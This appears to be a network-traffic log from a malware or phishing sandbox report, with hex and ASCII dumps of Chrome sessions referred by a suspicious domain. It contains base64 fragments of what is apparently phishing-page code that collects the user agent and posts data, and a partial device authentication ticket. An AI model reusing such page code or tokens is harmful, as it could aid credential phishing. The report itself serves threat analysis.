2024-04-24 06:21:33 UTC	1369	IN	Data Raw: 54 49 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 41 75 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 32 31 79 53 46 6c 4f 63 56 5a 32 62 48 4d 67 4c 6d 67 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 47 4e 68 62 47 4d 6f 4c 6a 6b 77 4d 48 4a 6c 62 53 41 72 49 43 34 7a 64 6e 63 70 4f 33 30 4e 43 69 4e 74 63 6b 68 5a 54 6e 46 57 64 6d 78 7a 49 43 35 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 74 59 32 56 75 64 47 56 79 65 32 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 44 70 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 74 63 6b 68 5a 54 6e 46 57 64 6d 78 7a 4c 6d 31 30 4c 54 56 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 7a 63 6d 56 74 Data Ascii: TIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI21ySFlOcVZ2bHMgLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiNtckhZTnFWdmxzIC5qdXN0aWZ5LWNvbnRlbnQtY2VudGVye2p1c3RpZnktY29udGVudDpjZW50ZXIhaW1wb3J0YW50O30NCiNtckhZTnFWdmxzLm10LTV7bWFyZ2luLXRvcDozcmVt
2024-04-24 06:21:33 UTC	1369	IN	Data Raw: 55 39 49 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 56 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 64 57 45 69 49 48 5a 68 62 48 56 6c 50 53 4a 4e 62 33 70 70 62 47 78 68 4c 7a 55 75 4d 43 41 6f 56 32 6c 75 5a 47 39 33 63 79 42 4f 56 43 41 78 4d 43 34 77 4f 79 42 58 61 57 34 32 4e 44 73 67 65 44 59 30 4b 53 42 42 63 48 42 73 5a 56 64 6c 59 6b 74 70 64 43 38 31 4d 7a 63 75 4d 7a 59 67 4b 45 74 49 56 45 31 4d 4c 43 42 73 61 57 74 6c 49 45 64 6c 59 32 74 76 4b 53 42 44 61 48 4a 76 62 57 55 76 4d 54 45 33 4c 6a 41 75 4d 43 34 77 49 46 4e 68 5a 6d 46 79 61 53 38 31 4d 7a 63 75 4d 7a 59 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a Data Ascii: U9IiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHVhIiBuYW1lPSJibHRkdWEiIHZhbHVlPSJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTE3LjAuMC4wIFNhZmFyaS81MzcuMzYiPg0KPGlucHV0IHR5cGU9ImhpZ
2024-04-24 06:21:33 UTC	774	IN	Data Raw: 45 59 58 52 68 4b 45 6c 52 53 48 56 4d 53 32 52 4c 59 6c 41 70 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 48 4a 6c 63 33 42 76 62 6e 4e 6c 4c 6d 70 7a 62 32 34 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 6b 59 58 52 68 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 4a 33 4e 30 59 58 52 31 63 79 64 64 49 44 30 39 49 43 64 7a 64 57 4e 6a 5a 58 4e 7a 4a 79 6c 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 57 78 76 59 57 51 6f 4b 54 73 4e 43 69 Data Ascii: EYXRhKElRSHVMS2RLYlApDQogICAgICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICAgICAgfSkudGhlbihkYXRhID0+IHsNCiAgICAgICAgICAgIGlmKGRhdGFbJ3N0YXR1cyddID09ICdzdWNjZXNzJyl7DQogICAgICAgICAgICBsb2NhdGlvbi5yZWxvYWQoKTsNCi
2024-04-24 06:21:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49743	52.146.76.30	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:32 UTC	461	OUT	GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:32 UTC	294	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 06:21:32 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-ms-trace-id: f3f0e2582a8c3db36920718a64c6c2f5 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-24 06:21:32 UTC	16090	IN	Data Raw: 31 66 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 Data Ascii: 1f33<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer
2024-04-24 06:21:32 UTC	12977	IN	Data Raw: 6e 74 42 6c 6f 63 6b 20 3e 20 64 69 76 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 67 61 70 3a 20 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 64 69 76 20 6c 61 62 65 6c 2c Data Ascii: ntBlock > div { display: flex; flex-direction: row; align-items: center; padding: 0px; gap: 8px; } .twoOptionFormFieldBlock div.radiobuttons div label,

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49746	20.10.31.115	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:33 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 37 43 6a 75 70 73 51 77 4a 55 4b 6d 71 53 30 61 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 39 34 64 32 62 37 66 38 66 61 65 65 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 7CjupsQwJUKmqS0a.1Context: 9ba94d2b7f8faee8
2024-04-24 06:21:33 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-24 06:21:33 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 37 43 6a 75 70 73 51 77 4a 55 4b 6d 71 53 30 61 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 39 34 64 32 62 37 66 38 66 61 65 65 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 48 4d 75 73 42 48 42 36 33 45 50 4e 34 55 6f 64 35 6e 45 35 4f 6d 52 4c 76 52 36 59 45 78 64 46 6b 56 78 6e 70 34 4b 53 59 59 6c 44 53 67 43 47 65 44 76 48 72 61 68 54 4f 72 6f 31 6a 6a 39 32 70 57 59 43 61 62 44 77 58 7a 7a 6e 34 4f 67 30 78 46 4a 2f 33 6c 59 57 79 4b 65 6e 61 30 46 76 53 34 51 33 33 37 4d 4d 2b 79 78 42 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 7CjupsQwJUKmqS0a.2Context: 9ba94d2b7f8faee8<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcHMusBHB63EPN4Uod5nE5OmRLvR6YExdFkVxnp4KSYYlDSgCGeDvHrahTOro1jj92pWYCabDwXzzn4Og0xFJ/3lYWyKena0FvS4Q337MM+yxB
2024-04-24 06:21:33 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 37 43 6a 75 70 73 51 77 4a 55 4b 6d 71 53 30 61 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 61 39 34 64 32 62 37 66 38 66 61 65 65 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 7CjupsQwJUKmqS0a.3Context: 9ba94d2b7f8faee8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-24 06:21:33 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-24 06:21:33 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 31 78 32 37 49 73 69 37 6b 6b 71 53 6f 71 4f 43 66 63 59 43 76 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 1x27Isi7kkqSoqOCfcYCvw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49748	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:33 UTC	647	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:33 UTC	352	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 06:21:33 GMT Content-Length: 0 Connection: close cross-origin-resource-policy: cross-origin cache-control: max-age=300, public access-control-allow-origin: * location: /turnstile/v0/b/471dc2adc340/api.js?render=explicit Server: cloudflare CF-RAY: 8793fe6e5c9109fd-LAS alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49747	151.101.66.137	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:33 UTC	621	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:33 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 24 Apr 2024 06:21:33 GMT Age: 3705181 X-Served-By: cache-lga21931-LGA, cache-lax-kwhp1940051-LAX X-Cache: HIT, HIT X-Cache-Hits: 1142, 2 X-Timer: S1713939694.799747,VS0,VE0 Vary: Accept-Encoding
2024-04-24 06:21:33 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-24 06:21:33 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-04-24 06:21:34 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-04-24 06:21:34 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-04-24 06:21:34 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-04-24 06:21:34 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49749	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:34 UTC	662	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:34 UTC	340	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:34 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8793fe728fe30acf-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:34 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function 